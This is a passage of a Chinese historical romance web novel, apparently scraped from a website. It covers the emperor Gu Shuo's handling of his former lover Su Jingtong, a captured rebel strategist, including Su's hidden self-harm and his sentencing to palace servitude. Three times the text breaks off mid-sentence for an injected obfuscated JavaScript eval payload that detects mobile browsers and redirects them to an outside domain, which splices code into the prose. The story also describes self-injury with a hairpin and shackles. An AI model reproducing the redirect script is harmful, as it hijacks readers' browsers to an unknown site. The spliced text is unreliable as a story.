顾朔照旧沉默。 苏景同说:“六殿下?” 没回音。 苏景同想了想,试探道:“哥哥?” 顾朔依然没出声。 “咦?”叫哥哥都不管用了?苏景同下床,走近,用手在顾朔眼前晃了晃,“难道睡着了?” 苏景同凑近,险些贴在顾朔脸上看,一边看一边嘀嘀咕咕:“怎么不眨眼,不会真睁着眼睛睡着了吧。那我在他脸上画个小王八,他应该也不知道吧。” 顾朔避开苏景同的手腕,一把抓住他胳膊:“你到底要做什么?” 苏景同被他扯着胳膊抬高,笑,“不装睡了?” 顾朔侧开头,避开苏景同的眼神,提醒他:“我们结束了。” 苏景同脸上的笑容凝固。 “你想做什么?”顾朔问:“跟朕重归于好?” 苏景同敛了笑意。 “苏景同,你到底把朕当什么?”顾朔质疑:“你想在一起就在一起,你想决裂就决裂,你现在想重归于好,朕就得配合你重归于好?” “朕越来越看不清你,你是纨绔荒唐的摄政王世子,还是心狠手辣的西南王军师?哪一面才是真的你?” “如果朕没有登基,你会选择重归于好,还是对前朝余孽的我赶尽杀绝?” 苏景同顿了顿,扯扯嘴角,眼睛又挂上笑意,转动胳膊,将手臂从顾朔手中抽出来,反手抓住他的手,用他的手扯开自己的衣襟。 衣襟松开,露出半点锁骨和若隐若现的一点胸膛。 苏景同跪下,仰着脸去瞧他。 苏景同的确是个美人,起卧行坐无一不风度翩翩,就连跪在顾朔面前,依然姿态优雅线条流畅。 苏景同弯起眼睛,声音带着说不出的诱惑,在寒冷的夜里格外勾人,“草民已然在此,还不是任由陛下处置么?” 顾朔本能地后退一步。 “陛下想怎么样对草民,”苏景同浅笑:“都可以。” “包括……”苏景同膝行一步上前,坦然自若去解顾朔的腰带。 这个姿势,这个高度…… 这是他们最亲密的一年都不曾有过的姿势,摄政王世子好整洁,就连那事也讲究风花雪月,更别提这般略带羞辱的姿势。 真讽刺啊。 最浓情蜜意时相敬如宾,沦为阶下囚后才想起还有这姿势。 这算是什么? 讨好? 赔罪? 想把过往种种就此一笔带过? 他在苏景同眼里到底是什么?任他予取予夺?召之即来挥之即去?想重逢他只要勾勾手指,自己就又毫无自尊心地沦陷? 顾朔当即避开手腕捏住他作怪的手。 苏景同仰脸看他,“怎么了?” 苏景同的眼神中全是天真,似乎完全不觉得自己的行径有何问题,倒像是他在矫情找事。 他甚至都不想解释一句当年的行径!为什么要把他留下当嬖人,又为什么花天酒地不回家,又是为什么绝情到非要赶他去西北。 哪怕他信口雌黄,编出一大堆理由为自己开解,顾朔都能从他的满嘴谎言中抽丝剥茧出一两句让自己相信,但他一个字都不肯说。 他不想解释,也不想辩白,过去到底是误解还是刻意,他不肯给顾朔哪怕一句话的交代。 他就这么我行我素,他想做什么就是什么。 顾朔抿紧嘴唇,喉头几次翻涌,一腔话要涌出来,反反复复,越想越气,怒不可遏,“你!” 苏景同抬手抚头发,声音柔软,“我怎么?” 顾朔憋了半天,憋不出话,“你你你”了半天,愣是没憋出第二个字。 苏景同跪直,去亲顾朔的手指。 原来到现在,他想的还是睡一觉便把往事揭过,原来那些往事,在他心里是睡一觉就能结束的。 他真的有考虑过自己的感受么? 他莫名其妙地追他,又发疯要留下他,等他情动,等他沦陷,再一脚踢开他。他把自己折磨到四年魂不守舍,想起来就像万箭穿心,再见到自己,他居然觉得睡一觉就能揭过? 他以为自己是什么? 苏景同! 你有种! 顾朔猛地抽出手来,拂袖而去。 房间的大门被重重合上,砰然发出巨大的动静,在空荡的房间中回响,震得苏景同哆嗦了一下。 随着大门合上,房间再度陷入黑暗,唯有半残的月光,透过糊着纱窗的窗户,稀稀拉拉透着一点光亮。 这点光着实微弱,甚至不如萤火虫来的管用。 苏景同安安静静瞧了半天月光,秋冬的月光总是蒙了一层寒霜,看不真切。月亮散发出的光线,大概像数九寒天的碎冰,不必你亲自去摸,只消略微凑近,就能被寒气扑上来吞噬。 这三年忙忙碌碌像个陀螺,他甚少有看月光的时候。不是真忙到没时间看,只是他不敢让自己闲下来,古人常说闲则生烦恼,人一闲,就会有很多时间空想,于是数不胜数地纵横交错的念头席卷而来,占据大脑。他颇以为然,于是尽可能地填充自己的时间,让自己没空想东想西。 “今天是有点闲了。”苏景同心想。 “唉,不想睡就不想睡嘛,”苏景同垂眸藏起所有情绪,慢慢系衣带,“生什么气呢。生气对身体不好。”他的手有点哆嗦,系了几回,都手抖地没系上。 算了。 苏景同懒得挣扎。 屋里总觉得有点冷,冷得他浑身寒意铺天盖地,像着单衣走在冰天雪地里,身体止不住地战栗。 现在是几月啊,怎么这么冷。 去年同时期有这么冷吗?没有吧。 真是造孽,一年比一年冷,以后冬天可怎么过。 还是回床上去吧,有被子盖着,也许会好一些。 起身时,他看到了手腕上的纱布,他的手腕已经不大疼了,皮外伤便是如此,无论当时疼得多刻骨铭心,一旦不去碰它,很快疼痛就会被遗忘。 人在疼痛的时候,大脑难以同时处理多项事务,于是那些纷繁复杂的念头、思绪,都会在疼痛中搁置一边,只剩下当下最重要的痛觉。 他有点怀念自己的镣铐。那副镣铐选得特别好,他精挑细选了很久,才找到这么一个适合自己的尺寸,卡得严丝合缝,稍微动动,就能带来刺激的痛感,迫使他沉心静气。 他这几年很喜欢这种感受,心里能松快许多。 苏景同环顾四周,视线从床头,转到梳妆台,又看向博古架,最后落到桌子上,都空空荡荡,不见镣铐。 苏景同愣了许久,才茫然地想起那副镣铐顾朔带走了。 啊…… 带走干嘛…… 他挑了很久,才挑到这副合心思的手铐啊。 怎么就给带走了呢。 翌日一早,朝未上,旨意先到。苏景同禁足,任何人不得探视。 新帝第一朝,开得剑拔弩张。经济、民生、军事这些要徐徐图之,只简略提了个大概,关于西南叛军一党的处置,吵了个天翻地覆。 西南王伏诛,罪行却还要再查。西南王身边的将领,也需挨个查清罪过,再行论罪。 问题出在苏景同身上。 苏景同亲爹苏季徵犯下叛国大罪,按律夷九族。仅这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908520|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条罪名,就可直接死刑。更别提他自己身上还背着谋逆的罪名。 他的罪,查不查都是死刑,只需收押等候问斩。 刑部自然乐得不用查,苏景同身份太特殊,和皇帝又有一段,鬼知道皇帝是什么心思,查好查不好都要命,最好不必查,直接收监问斩。 顾朔恩准免左正卿上朝,左正卿猜测今天要提苏景同的事,拖着病体残躯来了,当即反驳,事情还没查清楚,怎么能草率问斩呢?于法不公。 顾朔登基,左正卿立下汗马功劳,兵部的一众将领对左正卿十分服气,平常一贯唯左正卿马首是瞻,但这次不行,苏景同他爹谋反、苏景同辅佐西南王谋反,打起仗来伤的都是军队的兄弟,血海深仇在,岂有不报之理? 查清楚,要怎么查?刑部论罪要证据板上钉钉,苏景同作为军师,多数时候是和西南王单独谈论,出谋划策,西南王头七都快过了,谁能证明这些计谋出自他口?苏景同咬死不认罪,一问摇头三不知,又怎么定? 何况西南王一党尚有余孽在,眼下朝廷中,也不见得人人都效忠顾朔,摄政王余孽、西南王余孽,哪个不想救苏景同? 迟则生变,苏景同还是早点处死好。 兵部同左正卿唱反调,引起群臣附和。 禁军首领江天站出来挺左正卿。 他倒不认识什么苏景同,西南王谋反前期远在西南,见不到苏景同,等西南王打到京城,他早护送左正卿去了西北为顾朔效力。他没见过苏景同从西南势如破竹杀到帝都的恐怖。 至于顾朔和西南王对上,有左正卿在,半月西南王就兵败如山倒。 在江天眼里,苏景同的大周四大军师之名,应当是靠脸来的,实力不过尔尔,给左正卿提鞋都不配。他还得感谢苏景同,太菜了,导致西南王的军队不堪一击。 苏景同现在死还是查清楚罪名再死,不重要。重要的是,群臣正在攻击左正卿。 江天作为自封的左正卿最好的兄弟,哪能忍得了他们欺负左正卿,当即呛声回去,“康宁侯句句为公,句句维护法理,怎么在众位大人口中成徇私了?是刑部犯懒不想干活,还是兵部想泄私愤不守法律?多大点事,要处刑必须有完整的证据,这也值得讨论查不查?下官和苏景同没交情,下官提议查!” “查?”有人问:“谁来查?”苏景同情况复杂,又智计百出,谁能保证查好? 左正卿请缨:“微臣请查。” 谁都能查,唯独左正卿不能查,他和苏景同关系匪浅,查出什么结果都免不了质疑攻讦,江天火速倒戈:“不行,太耗身体,侯爷千万珍重自身。陛下,臣请查。” “查?”又一人冷笑:“人还没找到呢,你怎么查?” 装打瞌睡的镇西侯适时睁开眼睛,插话道:“大人,本侯找到苏景同了。” “敢问侯爷,苏景同人现在在哪?”刑部尚书问。 镇西侯打了个哈欠,“本侯把他打扮成嬖人,当贺礼送给圣上了。” 朝廷瞬间死寂。 朝臣们怀疑自己耳朵出了问题,镇西侯在说什么东西,苏景同,嬖人?贺礼?? 这是能组合成一句话的吗? 群臣眼观鼻鼻观心,谁也不敢抬头看皇帝的神情。镇西侯是酒囊饭袋,脑子里只能装黄汤,把谋逆之臣当嬖人送给皇帝玩乐的事也做得出来! 禁军首领江天面色微变。他昨儿下午回京,原本要立刻进宫面圣,结果潘启传旨要他护送左正卿回府,不必面圣。他便没回宫检查宫闱防守。 副统领向他汇报了镇西侯送了一个嬖人给皇帝,身份不明,但皇帝十分上心,将贺兰芝和太医院院令都派过去守着。江天不明底细,只能叫人加强戒备。 他哪里想到,嬖人居然是苏景同! 万一苏景同谋逆之心不死,想借机刺杀皇上呢?这是他职责范围,不可不管。 他立时跪倒在地:“陛下三思!苏景同不可不防,留身边有害无利!” 兵部哗啦啦跟着跪了一地,齐声高呼:“请陛下三思!” 方才恨不能赶紧弄死苏景同的刑部尚书,这会儿态度大转弯,贺礼前天就送了,一天一夜过去,没听到皇帝处死苏景同的消息,且连苏景同找到的消息都没传出来,明显皇帝对苏景同余情未了,想保他的命。 苏景同一旦收监,是立刻处死,还是查清楚罪名再处死,那都是踩皇帝的脸。苏景同最好别出宫,别来刑部。 于是刑部尚书马上改口:“江统领此言差矣,陛下武功卓绝,苏景同不过一芥书生,手无缚鸡之力,既已献给陛下,便是陛下的贺礼,区区一件贺礼,何至于上升到家国天下的地步。” 镇西侯笑眯眯说:“大人说得有理。” 8. 内疚 朝臣又吵作一团。 顾朔一声不吭地听他们吵了两个时辰,在喧嚣中淡定宣布退朝。 关于苏景同怎么处置,他想了两夜。 人不能留在他身边。他们已经结束。过去的关系,过去的人,该和往事一起随风去。 谋逆罪在,按律该斩首。 这自然不行。 轻一档流放。 边疆苦寒,遭罪无数。当然也不行。 再轻一档,终身监禁。 牢房不是好地方,终日不见阳光,不可以。 顾朔思来想去,苏景同从前提过喜欢江南的青溪镇,依山傍水,风景秀丽,饮食也合他口味,便圈禁到青溪镇吧,终身不得出青溪镇。 也算对谋逆的事有个交代。 等西南王叛党清除干净,让他立个不大不小的功,解了圈禁,随他想去哪里。给他备些财物,足够他富裕余生,便算对他俩过去的交代了。 从此桥归桥、路归路。 顾朔下朝后,听到潘启传话,早上贺兰芝回禀说苏景同起烧了。 顾朔“嗯”了一声,没提要去永安宫。苏景同平日里头疼脑热都会起烧,更何况这回手腕还有伤。昨晚他已叮嘱太医留神,太医自然照办。 潘启小心翼翼观察顾朔的表情,见他没有去的意思,小声补充道:“新伤添旧伤,哪能不起烧呢。” “……新伤?”他昨天很注意避开苏景同的手腕,且没敢使劲。 “太医说,”潘启觑顾朔:“像簪子扎的。” 顾朔来时,太医已经给苏景同重新用酒清理伤口,重新上药包扎好了。苏景同刚吃了药,昏昏沉沉睡去。 也不知是不是顾朔的错觉,他总感觉苏景同比昨晚要清瘦些。本就巴掌大的脸,下巴更尖了。 顾朔进了东偏殿,桌上摆着一个托盘,托盘中盛着一支铜片单簪,是苏景同昨晚簪头上的,簪子尾部沾着点点血迹。 顾朔蓦地想起那副镣铐,苏景同手腕和脚腕的镣铐都同样紧,跪姿和坐姿状态下,压着的脚腕应该摩擦更多,但他伤口却在手腕。取镣铐清理上药时,他还无意识反复动手腕,让镣铐在伤口上来回动。 顾朔额头一抽一抽地跳,这个情形,很像是自虐。 他想起先帝时,宫里有个“疯妃”,原本好好的人,孩子刚出生就夭折,天天以泪洗面,大半年不见好转,时常坐着坐着就落泪,郁郁寡欢。后来就开始用簪子或者刀扎自己。 太医来瞧过,只说是情绪不好,开了些纾解郁气的药。 治疗了两年,情况愈发严重,人也变得疯癫起来,一会儿说腿动不了,一会儿说手动不了,后来又自称白日见鬼,神神叨叨的,抱着枕头当孩子,或者叫嚷有人要杀她,彻底疯了。 顾朔的心缓缓下沉。摄政王府覆灭,苏景同怎么能不心情郁结?他和苏景同决裂,左正卿亦跟他成为对手。身边连个知心人都没有。 日复一日、年复一年,长此以往,怎么能好? 顾朔又想起一件事,疯妃疯之前很长一段时间,几乎不吃东西,太医只说人心情不好,便胃口不开。 昨天苏景同吃的量,两顿加起来都不够一只小猫崽吃的。 可不是和疯妃一模一样。 顾朔别开头,不敢多看簪子一眼,他昨晚发什么疯,为什么要刺激他。 他明明知道这三年他没有一天好过,为什么一定要刺激他? 苏景同小睡了一盏茶的功夫,就挣扎着睁开眼。 昨晚顾朔走了以后,他意识便模糊了。近年来,他意识模糊的次数越来越多,总是不知道自己在做什么,醒来又发现身上零星的伤口。 今天早上他还没睡清醒,就听兰芝姑姑惊恐地叫出声,紧接着一群人手忙脚乱地进来,好像有什么人动他的手腕,也不知做了什么,他迷迷糊糊晕了过去。 他总觉得不对劲,像又发病了。 眼下不是发病时机,让顾朔知道,说不定以为他在玩苦肉计。他本就厌恶自己,别更添厌恶。 苏景同勉强睁开眼睛,头疼得像要炸开,眼前恍恍惚惚,他等了一会儿,让自己的视线慢慢清晰,手腕钻心的疼,苏景同看向手腕,手腕被包扎了好几层。 看来昨晚意识模糊后,遭殃的是手腕。 “醒了?”顾朔的声音传来,沙哑得要命。 苏景同朝声音来源望去,顾朔坐在床边,眼睛盯着他的手腕,嘴唇抿得紧紧的。 要死了。 苏景同头疼,顾朔的表情他太熟悉了,他一定在后悔昨晚口不择言,他八成在想,假如昨晚他温柔点、耐心点、今天会不会有所不同。 算了。 还是让他以为这是苦肉计吧。 苏景同见不得他内疚的模样。 苏景同扬起嘴角,慢悠悠起身,赤足陷在柔软的地毯中,缓缓走到顾朔面前,坐在他腿上,双臂勾住他的脖颈,轻轻在他唇角啄了一口,得意地笑了笑,将脸贴在他胸口,听他的心跳声,快乐道:“就知道你会来。” “怎么样,哥哥?”苏景同神采飞扬,“改变主意了吗?把我留在你身边,做个嬖人,就像我从前对你那样。” 苏景同抬头亲他的耳垂,将他的手放在自己的脖颈,“你可以对我做你想做的任何事。” 他凑在顾朔耳边,嗓音轻曼:“予取予夺。” 顾朔将他的手腕拉下来,朝他臀上拍了一下,“说了三回:别动手腕。” 苏景同挑起一条眉毛,“那惩罚我。” “嗯。”顾朔说。 “咦?”苏景同睁大眼睛。今天怎么回事?铁树开花了? 片刻后,苏景同脸上的无语可以写一本书。 他被迫坐在罗汉床上,顾朔抓着他的一只脚,另一只手拿着一根羽毛。 顾朔道:“从现在开始,你每骗朕一句。”顾朔在他面前晃晃羽毛,“知道了?” 苏景同翻了个大大的白眼。 “你叫什么?”顾朔问。 苏景同对他服气得五体投地,投怀送抱两回被拒,顾朔不应当当皇帝,应该改行当柳下惠。 顾朔说:“超过三个数没回答,一样挠你痒痒。” 苏景同:…… 苍天啊,他怎么会喜欢脑回路这么清奇的男人。 大好时间,不风花雪月,玩起过家家了! “三。” 苏景同怕痒,有气无力地拖长声调:“苏——景——同,字时——祯——” “年龄?” “二——十——三——” “你现在在哪?” 苏景同无语至极,“永——安——宫——” “记住不能动手腕了吗?”顾朔问。 苏景同沉默一瞬,别开头道:“记住了。” “为什么昨天不好好吃饭?”顾朔又问。 “嗯?”苏景同奇道:“我昨天吃得还不多吗?” 这次无语的轮到顾朔,加起来不够奶猫吃的,那能叫多吗? 苏景同想把脚缩回来,“你不能因为这个判定我撒谎。我真心认为我吃很多。” 顾朔抓着他的脚,不许他动,继续问:“身上还有哪里不舒服么?” “没。” 顾朔飞快用羽毛在苏景同脚心来回划,苏景同痒地笑起来,“你……哈哈哈……我……哈哈哈哈……” “我好着呢哈哈哈哈哈。” “哈哈哈……干嘛你……哈哈哈”苏景同笑得肚子疼,用脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908521|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踹顾朔,“停!” 顾朔没理他,继续挠他痒痒。 “哈哈哈哈停,我说……”苏景同笑得眼泪都要掉下来了:“我说我说,是胃,胃!” 顾朔停手了,疯妃在疯之前,胃有长达两年的难受。太医瞧过几回,都只说情绪不好伤胃,劝她想开些。 “什么时候开始疼的?” 苏景同想了想,坏了,什么时候开始疼的? 不记得了。 眼看顾朔又要动羽毛,苏景同赶紧求饶:“别,我真不记得了。” 顾朔继续问:“你昨晚是苦肉计吗?” “……”苏景同飘开视线,“怎么说好呢。” “严格来说,”苏景同一本正经道:“我这个不能叫苦肉计。我这是在为我们破镜重圆做出重大努力。你的脾气你知道,一旦想好了,八头牛都拉不回来。你不打算跟我和好,我能怎么办。你是皇帝,你不肯见我,我就见不到你。你肯定想把我远远扔个地方,最好以后都别见了。我不低头怎么办,看你把我扔走吗?你要珍惜我,像我这样花样百出主动维护关系的人不多了。” 顾朔挠他。 “哈哈哈哈哈你干嘛哈哈哈哈哈哈……”苏景同笑得难受得蜷起半个身子,“赖皮赖皮赖皮,你哈哈哈哈你赖皮哈哈哈哈……” “你想哈哈哈哈听到什么,哈哈哈哈就听什么哈哈哈哈哈,听哈哈哈哈不到就当我撒哈哈哈哈谎。” “赖皮——” 顾朔怕他笑岔气,停下羽毛,目不转睛地盯着他的眼睛。 四目相对,苏景同想飘开视线。 “看着朕的眼睛。”顾朔问:“你昨晚是苦肉计吗?” 这个答案问与不问,顾朔心里都明镜儿似的,正如苏景同了解他,他也了解苏景同,苏景同一抬眼,他就知道苏景同要做什么。 假使苏景同见到他,借着他的内疚趁机留下来,那他会坚定地按照自己预设的道路,等苏景同伤好后,送他去江南。最多安排左正卿去江南陪他一段时间。 假使苏景同见到他,想法子平复他的内疚。 宽慰他也好、开玩笑也罢,总之稍微提一两句。 那么是不是说明,他在苏景同心里,还是有那么一点点地位。 苏景同对他,有那么一点点真心…… 他心里倾向后者,虽然苏景同否认过多次,但他依然脸皮厚地认为:四年前苏景同从周文帝手中要他当嬖人,是为了避免他被流放岭南;三年前苏景同坚决要同他决裂,另有隐情。 他只是需要那么一点反应,一点肯定,让他跨越所有的疑团和猜忌,顶着所有风险,坚定地再次留下苏景同。 苏景同的反应不出他意料,怕他内疚,骗他是苦肉计。 事情清楚明了,但顾朔就是想从苏景同口中听到答案。他们之间有太多没沟通过的秘密,隔着令人窒息的谜团和猜忌,他实在不想他们之间再有别的疑团。 他们也该换个模式相处,渐渐解开谜团。 “别躲避。”顾朔说,“看着我的眼睛回答我。”他把“朕”换成了“我”,就像三年前那般。 顾朔的目光很严厉,“有件事我需要让你知道:对我来说,隐瞒我,远比其他事更让我难过。” 苏景同抿抿唇,垂下眼睫:“不是。” 顾朔身上的凌厉一扫而光,他扔掉羽毛,把苏景同抱进怀里,不断地亲他的眼角,抚摸他的发丝。要求苏景同坦然说出内心想法,是件很困难的事,无论是他过去的经历,还是他现在背负的谜团,长久地压在心里,他已经习惯了思考每件事的利弊,衡量说与不说的后果,最后大包大揽。 这件事虽然小,却是一个很好的开端。 “乖,你做得很好。” 9. 太监 苏景同的头靠在顾朔脖颈,玩着顾朔的手,顾朔的手很大,手掌厚实,掌心和指腹有薄薄的一层茧,是常年拿剑和弓箭留下的痕迹。 顾朔同他十指相扣,“现在局面和从前不同。我不清楚你在摄政王府、在西南王府是什么处境,局势复杂,牵一发动全身。你有隐瞒,你不想告诉我,我可以接受——虽然很生气。现在大局已定,且朕是皇帝,兵权在握,边疆已安,叛军已除,是天下最大的靠山。” “你没什么不能告诉我的。”顾朔说。 “天塌了,朕也扛得起来。”顾朔漫不经心道。 苏景同高高兴兴地仰头亲了顾朔一口——他很喜欢顾朔的帝王姿态。 在他们决裂的那三年,苏景同时常做梦梦到顾朔临朝,他要穿着精致繁复的龙袍,坐在高高的驾辇上,行走在万里河山之间,武官开路,文臣随后,浩浩汤汤,他真正的君临天下,恭己临四极,垂衣御八荒。 顾朔微微移开头,提醒他:“注意行为,我们是决裂后的关系,你不能和三年前一样随意动手动脚。” 苏景同瞧着他俩十指相扣的手,又看着顾朔把他抱怀里的姿势,再盯着顾朔,用眼神谴责他刚刚一连串的亲吻。他已经把什么都做了,现在居然好意思指责他分不清关系。 苏景同诚恳地评价道:“只许州官放火,不许百姓点灯。” 顾朔弯了弯唇角,“普天之下莫非王土,率土之滨莫非王臣。朕是皇帝,想对你做什么就做什么。” “好吧,不讲理。”苏景同嘀咕。 顾朔闷笑。 “说正事。”顾朔把苏景同放下来,让他去桌边坐好。 苏景同猜到他要说什么,同样正色起来。 “朝臣现在在讨论关于你的处置。”顾朔道。 苏景同“唔”了一声,毫不意外,他身份敏感,关于要不要审就能吵很久,刑部不想惹麻烦,兵部想尽快处死,正卿不同意,想拖时间再查查,万一还能抢救。接下来又要吵谁来审。 刑部恨不得能躲多远躲多远,唯独敢接的,大概就是左正卿了。 苏景同道:“正卿身体不好,不能叫他审。”审案子劳心劳力,他哪里经得起。 顾朔摆手,“不是问你这个。” 无论谁审,都免不了去刑狱待着。且查不查他自己谋反的事,摄政王谋逆是板上钉钉,无非是一桩罪死刑,还是两桩罪死刑的区别。 何况苏景同瞒着的事,背后不知有多少弯弯绕绕利益纠葛,苏景同不想主动交代的话,就算左正卿来了也撬不开他的嘴——他如果在刑狱中主动交代,那很可能是另一个陷阱。 审苏景同,除了把罪定的更死,没旁的用处。 顾朔根本不打算让他受审。 “谋逆罪在,朕不能太过徇私,朕给你两条路,”顾朔说:“第一条,终身圈禁青溪镇。” “不去。”苏景同立刻拒绝,“我不走。”顾朔明摆着是要放他走,一旦他决定放手,他们就真完了。 “不是真圈你一辈子,”顾朔说:“风头过了,就放你出来。” “不选。” “朕会安排人照应你,不会叫你吃苦的。” “不去。” “第二条,发配为奴。” 圈禁和发配为奴差太远,一个舒舒服服继续当他的公子哥儿,除了不能出青溪镇没别的不好,一个辛辛苦苦干活。 苏景同问:“发配哪里?” “宫里,进寒蝉轩。” 寒蝉轩是宫女和犯罪官僚女眷劳动的地方。若有官员犯灭族大罪,又得赦免,可男丁流放,女眷进教坊司或寒蝉轩为奴。 摄政王也算灭族大罪,得赦免,可走这条。 苏景同幽幽道:“宫女住的地方,我去干什么。” “你可以当小太监。” 苏景同:“……” 苏景同拧眉:“我不能当个嬖人吗?太监也忒……” “朕再提醒你一次,我们散伙了,在你解释清楚三年前决裂的事之前,”顾朔说:“朕不打算和你有任何情感上的联系,包括嬖人。” 苏景同无奈:“小太监……你是要阉了我吗?” “不必,”顾朔道:“六宫空置,无需避嫌,你穿小太监衣服即可。” 苏景同干巴巴道:“那就……谢主隆恩。” “但我住哪?”苏景同问。 “会有人安排。” “好吧。”苏景同耷拉耳朵。 “怎么样,选哪条?” 还能怎么选,苏景同长叹一声:“唉,第二条。” “选好了?”顾朔扬眉,“第一条朕可以保证五年内放你出来,第二条却不好操作,兴许一生为奴。” “选好了。” “不后悔?” “不后悔。” “好。”顾朔目光沉沉:“记住这是你的选择。” “知道啦——”苏景同有气无力拖长语调。 接下来,苏景同开始了在永安宫的养伤生活。 有疯妃在前,顾朔对苏景同的情绪问题格外注意,并不敢真叫他禁足。乐师班子、歌舞班子、戏班子,统统住进了永安宫后殿,好叫他打发时间,免得想东想西。 左正卿被秘密召进宫,先拜见顾朔,知晓了苏景同的境况,后留在永安宫常住。 宫里的宫人全部去掉发簪,改用发带。针线剪刀收拾出来,一起带走。小厨房也不开了,贺兰芝在广明宫那边做好饭送过来。宫里的家具摆设,尖角的一律磨成圆头。 朝臣上书对苏景同各项处置的折子,顾朔全部留中不发。 群臣心里没底,私下向潘启打听。 潘启收钱办事,隐晦地告诉他们,苏景同住在了永安宫。 永安宫,是离皇帝起居的广明宫最近的宫殿,宫殿宽阔,风景秀丽,院中修建有假山流水,殿内陈设琳琅,无一不是奇珍异宝。 看来是余情未了。 不到五天,除了兵部的犟驴和肩负皇帝安全的禁军首领江天,众臣纷纷改了口风,声称这是陛下的家务事,自当由陛下决断。 兵部的犟驴们尚可,多数只是不忿。 江天不成。 留苏景同在宫中,隐患无数。苏景同是不是真心臣服皇帝?苏景同是不是来刺杀皇帝?是不是来打探宫中情报? 这么个危险人物,放在皇帝身边,这是禁军统领的失职。 又过了五天,兵部的犟驴们也看清了皇帝的意思——折子流水一般送进去,全部留中不发,不就是没看到想要的折子么。 说来说去,苏景同身上就两桩罪,一桩亲爹谋逆,一桩自个儿谋逆。谋的是顾家的江山,顾家当家做主的皇帝都不想追究,他们咸吃萝卜淡操心。 兵部上书请皇帝自行定夺。 苏景同手腕完全好的那日,顾朔下旨:先摄政王苏季徵,蒙先帝天恩浩荡,统摄百官,位列台阁,但不忠不义,狼子野心,犯上作乱,依律夷九族。然其护国有功、马革裹尸,特赦其族人死罪,着先摄政王苏季徵之子苏景同入寒蝉轩为奴。 诏书全程没提一句关于苏景同本人谋逆的事,更不提及西南王,仿佛苏景同只是因为被他爹牵连,才有此令。 众臣原以为苏景同的事要轻轻放过,没想到实打实给了处置,一时间兵部的火气彻底消了。 这回是真心甘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908522|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情愿了。 潘启亲自来永安宫传的旨。 苏景同平静地接了,他转变身份行云流水,前脚还在当公子,圣旨一接,对着潘启行礼道:“奴才见过大总管。” 潘启被他这一声吓得腿软,半栽在地。 苏景同上前扶潘启,潘启哪敢叫他扶,擦了把额头上的汗,“好公子,你俩快些和好吧,奴才这把老骨头经不起您二位折腾。” 潘启扶着身边的小太监颤颤巍巍起身。 苏景同道:“奴才现在不是公子了,大总管唤奴才全名即可。” 潘启腿一软,差点又跪了下去,还好这次小太监给力,一左一右托住了潘启,潘启声音都抖了,“是。” 潘启带苏景同前往他住的地方,苏景同跟在潘启身后行走,他实在不像个小太监,太监多躬身伺候人,因而身板总也站不直,苏景同长身玉立,风度翩翩,颇为不凡。 潘启耐心解释道:“陛下嫌宫中奢靡,叫裁撤宫人,现如今,寒蝉轩那头忙得很,公子……景、”潘启深吸一口气,为自己做心理建设。 苏景同好心提醒:“奴才名唤苏景同。” 潘启欲哭无泪:“景、景同你先在广明宫伺候吧。” “但凭大总管安排。” 潘启的声音发飘:“……好……” 从永安宫到广明宫,不过半条路的距离,一路走来,苏景同见到许多宫女太监换成常服,提着包袱向寒蝉轩去。 他还当潘启是随便找个理由让他去广明宫伺候,原来竟是真要裁撤宫人。 苏景同记得顾朔还是六皇子时,便嫌宫中奢靡太过。 周文帝昔年,从居住的广明宫到上朝议事的东明殿,不过半里地的距离,要六个太监并八个宫女在前开路,三十二抬轿辇前行,仪仗扈从随行,前呼后拥,得有两百人一起行动。 仪仗扈从最后一排刚准备从广明宫出发,先头部队已经到东明殿了。 宫里伺候的人也多。广明宫内,光洒扫的小宫女太监便有三十人,端茶倒水的太监四人。至于近身伺候的,那更没法说。 周文帝从进内殿起,便有一个宫女负责摘他发冠、一个宫女负责摘腰带和玉坠香囊、两个宫女用托盘盛着常服,两个太监换衣裳,一个太监换鞋,两个宫女端着银盆和帕子,供周文帝净手,另有一人负责给周文帝松解头皮。 顾朔每每看到,都嫌浪费。 如今正是裁撤宫人的好时机——周文帝死后,后宫女眷们被西南王收监,顾朔登基后,有子女的后妃们统统搬去子女处,无子女的后妃,统一在寿安宫颐养天年。 宫里没有太后。 顾朔的生母是广明宫的宫女,周文帝并不喜爱她,临幸她是场意外,怀孕生下顾朔,也不过堪堪封了个贵人,随手指了个偏僻的宫殿,叫她住了进去。此后多年,再不曾召见。 区区贵人,没有抚养皇子的权力。连见面都难。 贵人在宫中不得宠,有子嗣却不能记在自己名下,宫里拜高踩低,不久就被折磨死了。 而那时,顾朔还没一岁,连点记忆都不曾有。 顾朔的养母娴妃,同样不得宠,靠着资历熬到妃位,在顾朔十三岁那年病故。周文帝没再给顾朔指养母。 